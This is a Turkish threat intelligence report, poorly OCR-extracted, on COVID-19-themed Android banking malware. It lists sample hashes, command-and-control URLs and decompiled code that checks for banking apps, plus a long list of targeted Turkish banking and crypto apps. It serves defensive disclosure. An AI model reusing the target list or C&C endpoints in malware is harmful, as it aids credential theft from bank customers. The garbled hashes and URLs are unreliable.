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Mobil Tehdit istihbarati Raporu
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Corona/Covid-19 Mobil Tehdit Raporu

Bu rapor Corona/Covid-19 virlisi salgininin, dijital dinya Uzerindeki etkilerinin
incelenmesi sonucu olusturulmustur. Aralik 2019 tarihinde Cin Halk Cumhuriyeti’nin
Wuhan kentinde baglayan ve kisa sirede tim dlnyaya yayilan Corona tipi Covid-19

virisu tim danya Gzerinde yanki uyandirmistir.

Pek cok alanda kendisine yer bulan Corona virtist bilisim ve teknoloji diinyasinda da
tehlikeli bir dijital salgina neden olmustur. Saldirganlarin Corona viris temasi
kullanarak sahte mobil uygulamalar araciligi ile hedef odakli ya da gelisi glizel saldirilar

dizenledigi gbzlemlenmisgtir.
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Yonetici Ozeti

Corona/Covid19 virislnun ortaya c¢ikigindan itibaren dijital ortamlarda da ilgi giderek
artmis kullanicilarin  ¢evrimi¢i olarak ilgili haberler, vaka sayisi ve igeriklere
ulasabilecegi web ve mobil uygulamalar ortaya ¢ikmistir. Olusturulan uygulamalarin
sayisinin giderek artmasi saldirganlarin Corona/Covid19 temasini kullanmasina zemin
olusturmustur. CatchProbe Siber Tehdit istinbarati platformu ile elde ettigimiz veriye
gbre Ozellikle Mart ayi icerisinde ilgili tema ile pek cok sayida alan adi kayit edildigi
gérulmustur. Alan adi kayitlarinin detayh bilgilerine “Dijital Corona Viris Siber Tehdit

istinbarati inceleme Raporu-2” (izerinden ulagilabilir.

Yapilan tespitler sonucu benzer popularitenin mobil uygulamalar Gzerinde de oldugu
Mart ayi icerisinde Corona/Covid19 temali birgok mobil uygulamanin cesitli platformlar
Uzerinden yayimlandigi gérulmustir. IntelProbe uzmanlan tarafindan gerceklestirilen
teknik incelemeler ve gbzlemler sonucu sahte mobil uygulamalarinin varliklar tespit
edilmis, gerceklegtirilen analizler sonucunda bazi  mobil uygulamalarin
Corona/Covid19 ile ilgili bilgi sunarken arka tarafta zararli islemler gerceklestirdigi
goérulmustur. Gergeklestirilen islemler ile son kullanicinin istismar edilmeye calisildigi
tespit edilmistir. Kullanicilarin 6zellikle aktif ve devam eden oturum bilgileri ¢alinarak,
kullanicilar adina islem yapiimasi hedeflenmistir. Ozellikle evden calisiimanin

yayginlasmasi, siber saldirganlari istahlandirdigi distuntlmektedir.

IntelProbe uzmanlari tarafindan gerceklestirilen tespit, analiz ve degerlendirmeler ile
icerisinde yerli bankalarinin mobil uygulamalarinin da hedef alindigi Turkce icerikli
kampanyalar gérilmastir. ilgili mobil tehdit detaylarina raporun teknik analiz

kismindan ulasilabilir.
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Mobil Tehditler

Gerceklestirilen istihbarat c¢alismalari sonucu mobil uygulamalar UGzerinde
Corona/Covid19 ile ilgili birgok tehdit gérilmastar. Saldirganlarin bu temay! kullanarak
mobil kullanicilarin kigisel bilgilerini ¢calmak icin RAT zararllarinin sik¢a kullanildigi
gérulmustur. Zararlinin bulastigi cihaza uzaktan erisim yapilabilmesi icin kullanildigi

bilinmektedir.

Yapilan arastirmalar ve degerlendirmeler sonrasinda sahte mobil uygulamalari
kullanilarak kullanicilarin mobil cihazlan tzerindeki 6nemli bilgilerin sifrelenerek fidye
talep edildigi ve bu trendin 2020 yili icerisinde énemli 6lcide devam edecegi
Ongorulmektedir. Tespit edilen ve 6nemli olarak gorilen bazi zararli mobil uygulamalar

asagida tablo ile verilmigtir.

E;,n '(IE;\::II((jer 8e28ae16f571101f4029a04e3d10b759e32023dc8cee2076836051538dfef6as

V-Alert
ﬁ COVID- | b1323c8e514a255b7f61c544ecdfed4ccfff2eee922131c50ce9af7c7b95d892
19

V-Alert
ﬁ COVID- | f092a594f615678099a25c28f7abfd8d95749abdcec83e43d1306ecb066ef3dc
19

COVID Covid
19 19b331b79cdd95a13b68ab5e8b4eb69102878fce1c81071cb7c17cbc24900c15
Tracker

Covid-
@ 19 19b331b79cdd95a13b68ab5e8b4eb69102878fce1c81071cb7c17cbc24900c15
L J Tracker
Corona
29 Safety | d7d43c0bf6d4828f1545017f34b5b54c
Mask

Corona | b7070a1fa932fe1cc8198e89e3a799f3
Takip 64ebedecfb242019ee590d80740e6a46

Gergeklestirilen degerlendirme sirasinda Corona Tracker / Corona Takip isimli mobil
uygulamanin icerisinde 6zellikle bankalarin hedef alindidi zararli aktiviteler tespit
edilmistir. Icerisinde Tiirkiye Bankacilik uygulamalarinin da bulundugu pek ¢ok
supheli ve zararli islem igin izin ve yetki isteyen mobil uygulamalar birgok llkeyi hedef
almistir. Amerika Birlesik Devletleri, Rusya, Almanya, Italya, Fransa, Ukrayna olarak

tespit edilmigtir.
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Corona/Covid19 Temali Mobil Uyugulamar
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® Mobil Uygulamalar

Yapilan tespitler sirasinda mobil uygulamalarin ortaya gikma islemleri arasinda “Corona
Virlis” temall kayit islemlerinin giderek arttigi gdriilmiistiir. Ilgili mobil uygulamalarinin
tamaminin olasi siber saldirilar ile alakali olmadi§i fakat Corona/Covid-19 viris
temasinin popdilaritesinin giderek arttigi gorilmisidir. Covid-19 salgini dolayisi ile
kullanicilarin uzaktan/evden calisma kosullarinin ve mobil ¢alisma durumunun da hedef
alinacagi tahmin edilmektedir.

Teknik Analiz

. | b7070a1fa932fe1cc8198e89e3a799f3 (MD5)
ﬁ C°r‘:“a Ta:"% c3b72c0c59f7f072e6d425¢7026b35e6749893b5 (SHAT)
(com.turenak.ch) | 4a,5446c468271c73865d45654b9dd942a18e716d608cf9233F1122¢F79bab8e

Gergeklestirilen Corona/Covid-19 temali mobil uygulamalarin analizleri sirasinda
“Corona Takip” isimli uygulama (izerinde zararll aktivitelerin oldugu goérilmistdir.
Uygulama acilir acilmaz kullanicidan "UYGULAMA AKTIFLESTIRME ONAYI” adi altinda
onemli izinler istemektedir. lgili mobil uygulama incelemeleri sonrasinda saldirganlarin
son kullanicilan hedef aldigi ve belirli bir gelir elde etme amacinin oldugu

dislnilmektedir. Corona/Covid-19 temasinin kullaniimasi dogrultusunda basarinin

arttirlmasi hedeflenmistir.




Pl RIEY
Accessibility € UYGULAMA AKTIFLESTIRM...

Volume key shortcut off
ff

Use UYGULAMA
AKTIFLESTIRME ONAYI?
JPW. UYGULAMA AKTIFLESTIRME ONAYI
Enable access for UYGULAMA Enable access for UYGULAMA
AKTIFLESTIRME ONAY! AKTIFLESTIRME ONAVF - Observe your actions

Text-to-speech output * Retrieve window content

Display

CANCEL oK
Font size

Display size

Kullanici  Gzerinden ilgili  izinlerin  beklenmesi sirasinda ddngl  halinde
http://aymyapi[.]Jcom/olo/a4.php ve http://aymyapi[.]Jcom/olo/al4.php
adresleri ile iletisimi beklenmektedir.

http:/faymyapi.com/o10/a4.php (pending)
http://aymyapi.com/o1o/a14.php (pending)
http://aymyapi.com/o10/a4.php (pending)
http:/faymyapi.com/o1o/a14.php (pending)
http:/faymyapi.com/o10/a4.php (pending)
http:/faymyapi.com/o1o/a14.php (pending)
http://aymyapi.com/o10/a4.php (pending)
http:/faymyapi.com/o10/a14.php (pending)

Ilgili adrese (C&C) POST islemlerinin gerceklestirildigi gorilmistiir. Bu aktivitelerin

zararli oldugu ve bilgi géndermek amaci ile yapildigi gézlemlenmektedir.

Request status:
POST http://aymyapi.com/olo/a4.phy

Request headers:

Content-Length: 108

Content-Type: application/x-www-form-urlencoded

User-Agent: Dalvik/2.1.0 (Linux; U; Android 8.1.8; Android SDK built for x86 Build/0SM1.180201.031)
Host: aymyapi.ce

Connection: Keep-Alive

Accept-Encoding: gzip

Response headers:

Content:

not available
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Gergeklestirilen diger incelemeler sirasinda uygulama “decompile” edilmis ve icerisinde
pek cok yerli bankanin yer aldigi bir hedef listesi tespit edilmistir.

i for.class 52

T

string strd = localApplicationInfo.packageName; :
Object localObject6é = localObjectl:

if (str4.equals("com.vakifbank.mobile"))

{

string str5 = localApplicationInfo.packageName;

Object localObject7 = localObject2:

if (str5.equals("tr.com.sekerbilisim.mbank"))
® {

if ((localApplicationInfo.packageName.equals("com.akbank.android.apps.akbank_direkt")) || (localApplicationInfo.packageName.equals("com.akbank.android.apps.akbank_
® {

if ((localApplicationInfo.packageName.equals("com.ykb.android")) || (localApplicationInfo.packageName.equals("com.ykb.android.mobilonay")) || (localApplicationInfo
® {

if ((localApplicationInfo.packageName.equals("com.softtech.iscek")) || {localApplicationInfo.packageName.equals("com.yurtdisi.iscep”)) || (localApplicationInfo.pac
® {

if ((localApplicationInfo.packageName.equals("com.finansbank.mobile.cepsube”)) || (localApplicationInfo.packageName.equals("finansbank.enpara®)) || (localApplicati
® {

if ((localApplicationInfo.packageName.equals("com.garanti.cepsubesi")) || (localApplicationInfo.packageName.equals("com.garanti.cepbank")) || (localApplicationInfo
® {

if ((localApplicationInfo.packageName.equals("com.tmobtech.halkbank")) || (localApplicationInfo.packageName.equals("com.SifrebazCep”)) || (localApplicationInfo.pac
® {

if ((localApplicationInfo.packageName.equals("com.ziraat.ziraatmobil")) || (localApplicationInfo.packageName.equals("com.ziraat.ziraattablet")) || (localApplicatio
: {if {localApplicationInfo.packageName.equals("com.paypal.android.p2pmobile”))
: {if (localApplicationInfo.packageName.equals("com.moneybookers.skrillpayments.neteller”))
: {if (localApplicationInfo.packageName.equals("com.moneybookers.skrillpayments"))
: {if (localApplicationInfo.packageName.equals("com.ing.mobile"))
: iif (localApplicationInfo.packageName.equals("com.pozitron.iscep"))
@

if ((localApplicationInfo.packageName.equals("com.vakifbank.mobile")) || (localApplicationInfo.packageName.equals("com.pozitron.vakifbank")))
® {
if (localApplicationInfo.packageName.equals("com.btcturk"))

: {if {localApplicationInfo.packageName.equals("com.finanshank.mobile.cepsube"))
: {if {localApplicationInfo.packageName.equals("com.ingbanktr.ingmobil"))
: {if {localApplicationInfo.packageName.equals("com.kuveytturk.mobil"})
: {if {localApplicationInfo.packageName.equals("com.magiclick.odeabank"))
: if {localApplicationInfo.packageName.equals("”com.mobillium.papara"))
I : if {localApplicationInfo.packageName.equals("com.pozitron.albarakaturk”))
: :{lf {localApplicationInfo.packageName.equals("com.teb"))
: (if {localApplicationInfo.packageName.equals("com.denizbank.mobildeniz"))
: {if (LlocalApplicationInfo.packageName.equals("com.ykb.android"))
: {if {localApplicationInfo.packageName.equals("finanshank.enpara"))
g &

Vakifbank, Finansbank, Garanti BBVA, Akbank gibi bankalarin bulundugu tim mobil
erisim listesi asagidaki gibidir. Zararll mobil uygulamasi erisim listesinde bulunan
uygulamalan takip etmekte ve bu uygulamalar Gzerinden Kkisisel bilgileri calmak igin
islem gerceklestirmektedir. Gergeklestirilen islemler igerisinde Kkisisel bilgileri calmak

icin sahte ekran goriintiileme yeteneginin mevcut olmasi da tespit edilmistir.
Uygulama calisip, gerekli izinleri kullanici tarafindan aldiktan sonra liste icerinde

bulunan uygulamalari aramakta ve kullanicilari kullandiklari ilgili uygulama Uzerinden
hedef almaktadir.
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es.cm.android
es.cm.android.tablet
apps.com.app.utils
com.DijitalSahne.EnYakinHalkba
nk

com.Plus500

com.SifrebazCep
com.akbank.android.apps.akban
k_direkt
com.akbank.android.apps.akban
k_direkt_tablet
com.akbank.android.apps.akban
k_direkt_tablet_20
com.akbank.softotp
com.albarakaapp
com.albarakaapp
com.amazon.mShop.android.sho
pping

com.android.chrome
com.android.settings
com.android.system
com.android.systemui
com.android.vending
com.bankia.wallet
com.bestbuy.android
com.binance.dev
com.binance.odapplications
com.bitcoin.ss.zebpayindia
com.bitfinex.bfxapp
com.bitmarket.trader
com.blockfolio.blockfolio
com.btcturk

com.coin.profit
com.coinbase.android
com.coins.bit.local
com.coins.ful.bit
com.crypter.cryptocyrrency
com.db.mm.norisbank
com.db.pwcc.dbmobile
com.denizbank.mobildeniz
com.ebay.mobile
com.edsoftapps.mycoinsvalue
com.finansbank.mobile.cepsube
com.fragment.akbank
com.garanti.cepbank

com.garanti.cepsubesi
com.garantibank.cepsubesiro
com.garantiyatirim.fx
com.twitter.android
com.ing.mobile
com.ingbanktr.ingmobil
com.jackpf.blockchainsearch
com.jamalabbasii1998.localbitco
in

com.kryptokit.jaxx
com.kuveytturk.mobil
com.localbitcoins.exchange
com.localbitcoinsmbapp
com.magiclick.FinansPOS
com.magiclick.odeabank
com.mal.saul.coinmarketcap
com.matriksmobile.android.ziraa
tTrader

com.mobillium.papara
com.moneybookers.skrillpaymen
ts
com.moneybookers.skrillpaymen
ts.neteller
com.monitise.isbankmoscow
com.mycelium.wallet
com.paypal.android.p2pmobile
com.paypal.android.p2pmobile
com.plunien.poloniex
com.portfolio.coinbase_tracker
com.pozitron.albarakaturk
com.pozitron.albarakaturk
com.pozitron.iscep
com.pozitron.vakifbank
com.redrockdigimark
com.softtech.isbankasi
com.softtech.iscek
com.targo_prod.bad

com.teb
com.thunkable.android.maniran
a54.LocalBitCoins_unblock
com.tmobtech.halkbank
com.tnx.apps.coinportfolio
com.unocoin.unocoinmerchantP
oS

com.unocoin.unocoinwallet
com.vakifbank.mobile







mobile.santander.de
finansbank.enpara
finansbank.enpara.sirketim
tr.com.hsbc.hsbcturkey
tr.com.sekerbilisim.mbank
tr.gov.turkiye.edevlet.kapisi
eu.unicreditgroup.hvbapptan
io.getdelta.android
de.schildbach.wallet
piuk.blockchain.android
info.blockchain.merchant
zebpay.Application
xmr.org.freewallet.app

com.veripark.ykbaz
com.vipera.ts.starter.QNB
com.vkontakte.android
com.ykb.android
com.ykb.android.mobilonay
com.ykb.androidtablet
com.ykb.avm
com.yurtdisi.iscep
com.ziraat.ziraatmobil
com.ziraat.ziraatmobil
com.ziraat.ziraattablet
tr.com.hsbc.hsbcturkey
tr.com.sekerbilisim.mbank com.matriksdata.finansyatirim
tr.com.tradesoft.tradingsystem. com.matriksdata.ziraatyatirim.p
gtpmobile.halk ad

e Wo0S.com.zebpay

Sonug

Corona/Covid-19 virlisii nedeni ile tiim dlinya Uzerinde acil durumda olan kullanicilar,
kurumlar ve organizasyonlar bilgiye dijital ortam Uzerinden ulasma egilimindedir.
Ozellikle salgindan korunmak amaci ile uzaktan calisan kullanicilarin mobil olarak
calismasindan yararlanmaya calisan saldirganlar, mobil uygulamalara ydnelmistir.
Gergeklestirilen islemler ile kullanicililarin istismar edilmeye calisildig tespit edilmistir.
Kullanicilarin 6zellikle aktif ve devam eden oturum bilgileri calinarak, kullanicilar adina
islem yapilmasi hedeflenmistir. Ozellikle evden calisimanin yayginlasmasi, siber
saldirganlari istahlandirdigi distintilmektedir.

Saldirganlar olusturduklari sahte mobil uygulamalar ile cihaz tzerindeki énemli bilgileri
sifreleyerek fidye talep ettigi gorilmuistir. Bu trendin 2020 yil icerisinde 6nemli dlglide
devam edecegi 6ngorilmektedir.

Kullanicilar mobil cihazlan ile islem yaparken bu tehditlere karsi dikkatli olmalidirlar.
Kullanicilarin korku, heyecan ve seving duygularinin sémrilmesi igin olusturulan haber
ve uygulamalara karsi dikkat edilmelidir. Glivenilir olmayan kaynaklardan temin edilen
mobil uygulamalar kullaniimamaldir.
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